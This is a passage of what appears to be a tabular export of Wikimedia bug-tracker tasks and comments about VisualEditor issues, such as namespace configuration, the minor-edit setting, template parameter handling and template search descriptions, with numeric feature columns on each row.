+Stop API error dialog popping up if you navigate away from the page while Parsoid loads
+
+https://gerrit.wikimedia.org/r/110108",,,1390954780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+53527,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Currently it is impossible to use Visual Editor in the pages of Portuguese Wikipedia which are on namespace 102 (""Anexo""), because the default value of $wgVisualEditorNamespaces is set to array( NS_MAIN ) instead of the $wgContentNamespaces (which usually, but not always is just array( NS_MAIN )). These pages are also articles, and as such should be editable by VisualEditor as any other article.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52188",Medium,50.0,1374063480,1383942801.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-iudy2zuexclkhlwqjbkn,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0
+253556,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Thanks! I've updated our docs :-)
+https://pt.wikipedia.org/w/index.php?diff=37359406",,,1384506400,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+253551,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"(In reply to comment #6)
+> (In reply to comment #4)
+> > Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a
+> > content namespace but this doesn't work:
+> > 
+> > https://pt.wikipedia.org/wiki/Anexo:Lista_de_listas?veaction=edit
+> 
+> This was because of how VE was configured to be used in WMF production; have
+> done a config patch (above) which fixes this - will get it pushed out on
+> Tuesday.
+
+Just to confirm, this is now done. Sorry!",,,1384484254,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,True,,,19,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+253547,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 94420 merged by jenkins-bot:
+Make VisualEditor namespaces extend, not replace, default
+
+https://gerrit.wikimedia.org/r/94420",,,1384300982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253544,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"(In reply to comment #4)
+> Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a
+> content namespace but this doesn't work:
+> 
+> https://pt.wikipedia.org/wiki/Anexo:Lista_de_listas?veaction=edit
+
+This was because of how VE was configured to be used in WMF production; have done a config patch (above) which fixes this - will get it pushed out on Tuesday.",,,1383942790,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+253540,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 94420 had a related patch set uploaded by Jforrester:
+Make VisualEditor namespaces extend, not replace, default
+
+https://gerrit.wikimedia.org/r/94420",,,1383942688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+253536,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a content namespace but this doesn't work:
+
+https://pt.wikipedia.org/wiki/Anexo:Lista_de_listas?veaction=edit",,,1383940906,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+253532,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 74138 merged by jenkins-bot:
+Default $wgVisualEditorNamespaces to $wgContentNamespaces
+
+https://gerrit.wikimedia.org/r/74138",,,1374090597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253525,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),Merged.,,,1374090551,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+253520,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 74138 had a related patch set uploaded by Helder.wiki:
+Default $wgVisualEditorNamespaces to $wgContentNamespaces
+
+https://gerrit.wikimedia.org/r/74138",,,1374063814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53515,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work","A community member marks his edits as ""minor edits"" (via preferences) by default. VE ignores un-marking it both in FF 20.0 and Chrome 27.0; see:
+
+FF:
+
+http://de.wikipedia.org/w/index.php?title=Benutzer:Thoken/test1&diff=prev&oldid=120588869
+
+Chrome:
+
+http://de.wikipedia.org/w/index.php?title=Benutzer:Thoken/test1&diff=prev&oldid=120590664
+
+discussion on De.WP:
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=120620759#Enthaken_von_.22Nur_Kleinigkeiten_wurden_ver.C3.A4ndert.22_ohne_Wirkung
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374049980,1374676726.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-ss6harhqovaxcprykzge,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+252913,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work",Fixed and will get deployed in a few minutes.,,,1374676726,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+252904,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work","Change 75598 merged by jenkins-bot:
+Set 'notminor' if minor edit box not checked
+
+https://gerrit.wikimedia.org/r/75598",,,1374676288,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+252895,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work","Change 75598 had a related patch set uploaded by Esanders:
+Set 'notminor' if minor edit box not checked
+
+https://gerrit.wikimedia.org/r/75598",,,1374674902,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+252888,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work",Confirmed in Firefox.  Note this preference is not available in English Wikipedia.,,,1374478890,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53500,"VisualEditor: Beta notice incorrectly highlights ""Leave feedback"" link when hovering the notice","When hovering the notice (which users do by default as the cursor is there after clicking the ""Beta"" icon on the toolbar) we highlight the ""Leave feedback"" label.
+
+If the entire container was clickable and bound to opening the Feedback dialog that would be appropriate, however that isn't the case. On click we close the notice.
+
+.ve-init-mw-viewPageTarget-tool:hover .ve-init-mw-viewPageTarget-tool-label, .ve-init-mw-viewPageTarget-subtool-label:hover {
+text-decoration: underline;
+}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374026460,1383002871.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-7auhm5son76ryeyfeyid,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+252109,"VisualEditor: Beta notice incorrectly highlights ""Leave feedback"" link when hovering the notice",This was fixed in the toolbar re-write.,,,1383002871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7auhm5son76ryeyfeyid,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252102,"VisualEditor: Beta notice incorrectly highlights ""Leave feedback"" link when hovering the notice",This also happens when hovering over the beta label on the toolbar (both it and the leave feedback label are underlined).,,,1375825378,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7auhm5son76ryeyfeyid,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+53484,VisualEditor: Spaces at the ends of template parameter values are trimmed,"In both named and unnamed parameters.
+
+The unnamed one should be of course a bug.
+
+Should we manage to protect named ones from being trimmed in PHP parser?
+
+ie. generate ({{P1|1= hello <nowiki/>}}) to protect the trailing space?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61049",Medium,50.0,1374013440,1385385582.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-573oqdvpm2jqlbzsvzdg,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+251026,VisualEditor: Spaces at the ends of template parameter values are trimmed,This was fixed some time ago in the clean-up re-write of the transclusion dialog; sorry for the slow triage.,,,1385385582,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-573oqdvpm2jqlbzsvzdg,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53483,Generic first edit tour,"Make a ""First Edit"" tour to help someone make their first edit, in general.  This should not have any connection to GettingStarted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374012600,1381904718.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-unahzezsufzzdb4k4beo,task_description,resolved,True,c1,3,True,False,False,2,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+250985,Generic first edit tour,"**swalling** wrote:
+
+Tours for 'firstedit' and 'firsteditve' are out in the wild. :)",,,1381904718,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0
+250979,Generic first edit tour,This should also have browser tests.,,,1375132894,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+250973,Generic first edit tour,"So far I've been using separate tours (one for VE, one for wikitext), so if we continue with that approach, we should make two tours.",,,1374013366,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+250963,Generic first edit tour,"**swalling** wrote:
+
+(In reply to comment #0)
+> Make a ""First Edit"" tour to help someone make their first edit, in general. 
+> This should not have any connection to GettingStarted.
+
+Also should work with VisualEditor or wikitext editor.",,,1374012824,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,False,,,2,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+250953,Generic first edit tour,"Change 64981 had a related patch set uploaded by Mattflaschen:
+Add tour to be used for first edit (other than GettingStarted).
+
+https://gerrit.wikimedia.org/r/64981",,,1374012729,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250942,Generic first edit tour,In progress at https://gerrit.wikimedia.org/r/#/c/64981/,,,1374012685,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+53454,VisualEditor: blocked-notice-logextract doesn't appear when editing user pages of blocked users with VE,"When editing the user page of a blocked user, some messages appear at the top of the page, for example blocked-notice-logextract.
+
+They don't appear when editing with the VisualEditor.
+
+Compare:
+
+Good: https://en.wikipedia.org/w/index.php?title=User:SEAROSE8&action=edit
+
+Bad: https://en.wikipedia.org/wiki/User:SEAROSE8?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52004",Medium,50.0,1373998440,1395874791.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-g24bxdialbz5a5bcp4qb,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+249218,VisualEditor: blocked-notice-logextract doesn't appear when editing user pages of blocked users with VE,"Change 121232 merged by jenkins-bot:
+Possibly show blocked-notice-logextract or userpage-userdoesnotexist when editing a user page
+
+https://gerrit.wikimedia.org/r/121232",,,1395869325,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g24bxdialbz5a5bcp4qb,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+249213,VisualEditor: blocked-notice-logextract doesn't appear when editing user pages of blocked users with VE,"Change 121232 had a related patch set uploaded by Alex Monk:
+Possibly show blocked-notice-logextract or userpage-userdoesnotexist when editing a user page
+
+https://gerrit.wikimedia.org/r/121232",,,1395866992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g24bxdialbz5a5bcp4qb,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+53450,VisualEditor: Page text sometimes pops up through the Media insertion dialog,"At unpredictable points, bits of the text from the underlying article sometimes show up on top of the Media search box. See attached video for an example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**OS**: Linux
+**Platform**: PC",Medium,50.0,1373995560,1437781075.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-kg4p7wmv7m2n5tdejrm4,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+496792,VisualEditor: Page text sometimes pops up through the Media insertion dialog,I'm guessing this is fixed by now. Reopen if you can still reproduce.,,,1437781075,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-kg4p7wmv7m2n5tdejrm4,task_subcomment,,True,c1,3,True,,,107,,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+249021,VisualEditor: Page text sometimes pops up through the Media insertion dialog,"Upload failed, so see the video here: https://commons.wikimedia.org/wiki/File:Screen_recording_of_text-over-Media_bug_in_VisualEditor.ogv",,,1373995771,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-kg4p7wmv7m2n5tdejrm4,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+53436,Template search results list should contain each template's descripton,"**Author:** `turingt`
+
+**Description:**
+See this feedback trhead: [ https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Observation_-_Template_Editor_behavior_improved ]
+
+The search results for parameters include each parameter's description, making it easy to select the right one. 
+
+But the templates list result contains only the template name, even though the template description is available (it's shown right 'after' a template is selected, so it doesn't help in choosing the right template).
+
+So, add the template description to the search results list.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51774",Medium,50.0,1373980800,1429285347.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3es7m4cbr63gg2w4l5or,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+446690,Template search results list should contain each template's descripton,Verified the fix in Betalabs,,,1429568922,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,94,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+445180,Template search results list should contain each template's descripton,"Change 203459 merged by jenkins-bot:
+Show template description in the template search
+
